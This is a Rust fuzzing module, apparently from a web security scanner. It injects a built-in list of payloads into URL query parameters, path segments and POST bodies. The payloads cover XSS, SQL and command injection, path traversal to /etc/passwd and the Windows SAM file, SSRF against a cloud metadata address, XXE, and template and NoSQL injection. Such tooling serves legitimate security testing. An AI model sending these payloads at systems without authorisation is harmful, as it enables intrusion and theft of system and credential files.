//! Fuzz 模式 - 参数模糊测试

use anyhow::Result;
use itertools::Itertools;
use log::{debug, info, warn};
use rand::seq::SliceRandom;
use rand::thread_rng;
use std::collections::HashMap;
use url::Url;

/// Fuzz 配置
#[derive(Debug, Clone)]
pub struct FuzzConfig {
    /// 字典文件路径
    pub dict_path: Option<String>,
    /// 内置 payloads
    pub builtin_payloads: Vec<String>,
    /// 最大 Fuzz 请求数
    pub max_requests: usize,
    /// 是否 Fuzz GET 参数
    pub fuzz_get_params: bool,
    /// 是否 Fuzz POST 参数
    pub fuzz_post_params: bool,
    /// 是否 Fuzz Headers
    pub fuzz_headers: bool,
    /// 是否 Fuzz Path
    pub fuzz_path: bool,
    /// 随机化 payload 顺序
    pub randomize: bool,
}

impl Default for FuzzConfig {
    fn default() -> Self {
        Self {
            dict_path: None,
            builtin_payloads: Self::default_payloads(),
            max_requests: 1000,
            fuzz_get_params: true,
            fuzz_post_params: true,
            fuzz_headers: false,
            fuzz_path: true,
            randomize: false,
        }
    }
}

impl FuzzConfig {
    /// 默认的 Fuzz payloads
    fn default_payloads() -> Vec<String> {
        vec![
            // XSS payloads
            "<script>alert(1)</script>".to_string(),
            "<img src=x onerror=alert(1)>".to_string(),
            "javascript:alert(1)".to_string(),
            // SQL Injection payloads
            "' OR '1'='1".to_string(),
            "' OR '1'='1' --".to_string(),
            "' OR '1'='1' /*".to_string(),
            "admin' --".to_string(),
            "1' UNION SELECT NULL--".to_string(),
            // Command Injection
            "; ls -la".to_string(),
            "| cat /etc/passwd".to_string(),
            "`whoami`".to_string(),
            "$(whoami)".to_string(),
            // Path Traversal
            "../../../etc/passwd".to_string(),
            "..\\..\\..\\windows\\system32\\config\\sam".to_string(),
            // SSRF
            "http://127.0.0.1".to_string(),
            "http://localhost".to_string(),
            "http://169.254.169.254/latest/meta-data/".to_string(),
            // XXE
            "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>".to_string(),
            // LDAP Injection
            "*)(uid=*))(|(uid=*".to_string(),
            // Template Injection
            "{{7*7}}".to_string(),
            "${7*7}".to_string(),
            "#{7*7}".to_string(),
            // NoSQL Injection
            "{\"$gt\":\"\"}".to_string(),
            "{\"$ne\":null}".to_string(),
        ]
    }
}

/// Fuzz 引擎
pub struct Fuzzer {
    config: FuzzConfig,
    payloads: Vec<String>,
}

impl Fuzzer {
    /// 创建新的 Fuzzer
    pub fn new(config: FuzzConfig) -> Result<Self> {
        let mut payloads = config.builtin_payloads.clone();

        // 从字典文件加载 payloads
        if let Some(dict_path) = &config.dict_path {
            match Self::load_dict(dict_path) {
                Ok(mut dict_payloads) => {
                    payloads.append(&mut dict_payloads);
                    info!("Loaded {} payloads from dictionary", dict_payloads.len());
                }
                Err(e) => {
                    warn!("Failed to load dictionary from {}: {}", dict_path, e);
                }
            }
        }

        // 随机化 payload 顺序
        if config.randomize {
            let mut rng = thread_rng();
            payloads.shuffle(&mut rng);
        }

        info!("Fuzzer initialized with {} total payloads", payloads.len());

        Ok(Self { config, payloads })
    }

    /// 从文件加载字典
    fn load_dict(path: &str) -> Result<Vec<String>> {
        let content = std::fs::read_to_string(path)?;
        let payloads: Vec<String> = content
            .lines()
            .map(|line| line.trim())
            .filter(|line| !line.is_empty() && !line.starts_with('#'))
            .map(|line| line.to_string())
            .collect();

        Ok(payloads)
    }

    /// 生成 Fuzz 请求
    pub fn generate_fuzz_requests(&self, url: &str) -> Result<Vec<FuzzRequest>> {
        let mut fuzz_requests = Vec::new();
        let parsed_url = Url::parse(url)?;

        // Fuzz GET 参数
        if self.config.fuzz_get_params {
            fuzz_requests.extend(self.fuzz_query_params(&parsed_url)?);
        }

        // Fuzz Path
        if self.config.fuzz_path {
            fuzz_requests.extend(self.fuzz_path(&parsed_url)?);
        }

        // 限制最大请求数
        if fuzz_requests.len() > self.config.max_requests {
            fuzz_requests.truncate(self.config.max_requests);
            debug!("Truncated fuzz requests to max: {}", self.config.max_requests);
        }

        info!("Generated {} fuzz requests for {}", fuzz_requests.len(), url);

        Ok(fuzz_requests)
    }

    /// Fuzz URL 查询参数
    fn fuzz_query_params(&self, url: &Url) -> Result<Vec<FuzzRequest>> {
        let mut requests = Vec::new();

        // 提取现有参数
        let params: HashMap<String, String> = url
            .query_pairs()
            .map(|(k, v)| (k.to_string(), v.to_string()))
            .collect();

        if params.is_empty() {
            return Ok(requests);
        }

        // 对每个参数和每个 payload 生成请求
        for (param_name, original_value) in &params {
            for payload in &self.payloads {
                let mut new_params = params.clone();
                new_params.insert(param_name.clone(), payload.clone());

                let mut new_url = url.clone();
                new_url.set_query(None);

                let query_string = new_params
                    .iter()
                    .map(|(k, v)| format!("{}={}", k, urlencoding::encode(v)))
                    .join("&");

                new_url.set_query(Some(&query_string));

                requests.push(FuzzRequest {
                    url: new_url.to_string(),
                    method: "GET".to_string(),
                    headers: HashMap::new(),
                    body: None,
                    fuzz_target: FuzzTarget::QueryParam {
                        param: param_name.clone(),
                        payload: payload.clone(),
                        original: original_value.clone(),
                    },
                });
            }
        }

        Ok(requests)
    }

    /// Fuzz URL 路径
    fn fuzz_path(&self, url: &Url) -> Result<Vec<FuzzRequest>> {
        let mut requests = Vec::new();
        let path_segments: Vec<&str> = url.path_segments().map(|s| s.collect()).unwrap_or_default();

        if path_segments.is_empty() {
            return Ok(requests);
        }

        // Fuzz 路径的每个段
        for (idx, segment) in path_segments.iter().enumerate() {
            for payload in &self.payloads {
                let mut new_segments = path_segments.clone();
                new_segments[idx] = payload;

                let mut new_url = url.clone();
                new_url.set_path(&new_segments.join("/"));

                requests.push(FuzzRequest {
                    url: new_url.to_string(),
                    method: "GET".to_string(),
                    headers: HashMap::new(),
                    body: None,
                    fuzz_target: FuzzTarget::PathSegment {
                        index: idx,
                        payload: payload.clone(),
                        original: segment.to_string(),
                    },
                });
            }
        }

        Ok(requests)
    }

    /// Fuzz POST 参数（需要原始请求体）
    pub fn fuzz_post_params(
        &self,
        url: &str,
        original_body: &str,
        content_type: &str,
    ) -> Result<Vec<FuzzRequest>> {
        let mut requests = Vec::new();

        if !self.config.fuzz_post_params {
            return Ok(requests);
        }

        // 解析 POST 参数（application/x-www-form-urlencoded）
        if content_type.contains("application/x-www-form-urlencoded") {
            let params: HashMap<String, String> = url::form_urlencoded::parse(original_body.as_bytes())
                .map(|(k, v)| (k.to_string(), v.to_string()))
                .collect();

            for (param_name, original_value) in &params {
                for payload in &self.payloads {
                    let mut new_params = params.clone();
                    new_params.insert(param_name.clone(), payload.clone());

                    let body = new_params
                        .iter()
                        .map(|(k, v)| format!("{}={}", k, urlencoding::encode(v)))
                        .join("&");

                    requests.push(FuzzRequest {
                        url: url.to_string(),
                        method: "POST".to_string(),
                        headers: {
                            let mut h = HashMap::new();
                            h.insert("Content-Type".to_string(), content_type.to_string());
                            h
                        },
                        body: Some(body),
                        fuzz_target: FuzzTarget::PostParam {
                            param: param_name.clone(),
                            payload: payload.clone(),
                            original: original_value.clone(),
                        },
                    });
                }
            }
        }

        Ok(requests)
    }
}

/// Fuzz 请求
#[derive(Debug, Clone)]
pub struct FuzzRequest {
    /// URL
    pub url: String,
    /// HTTP 方法
    pub method: String,
    /// 请求头
    pub headers: HashMap<String, String>,
    /// 请求体
    pub body: Option<String>,
    /// Fuzz 目标
    pub fuzz_target: FuzzTarget,
}

/// Fuzz 目标类型
#[derive(Debug, Clone)]
pub enum FuzzTarget {
    /// URL 查询参数
    QueryParam {
        param: String,
        payload: String,
        original: String,
    },
    /// POST 参数
    PostParam {
        param: String,
        payload: String,
        original: String,
    },
    /// 路径段
    PathSegment {
        index: usize,
        payload: String,
        original: String,
    },
    /// HTTP Header
    Header {
        header: String,
        payload: String,
        original: String,
    },
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_fuzzer_creation() {
        let config = FuzzConfig::default();
        let fuzzer = Fuzzer::new(config).unwrap();
        assert!(!fuzzer.payloads.is_empty());
    }

    #[test]
    fn test_fuzz_query_params() {
        let config = FuzzConfig {
            builtin_payloads: vec!["test_payload".to_string()],
            max_requests: 10,
            ..Default::default()
        };
        let fuzzer = Fuzzer::new(config).unwrap();
        let requests = fuzzer.generate_fuzz_requests("https://example.com?id=123&name=test").unwrap();
        assert!(!requests.is_empty());
    }
}
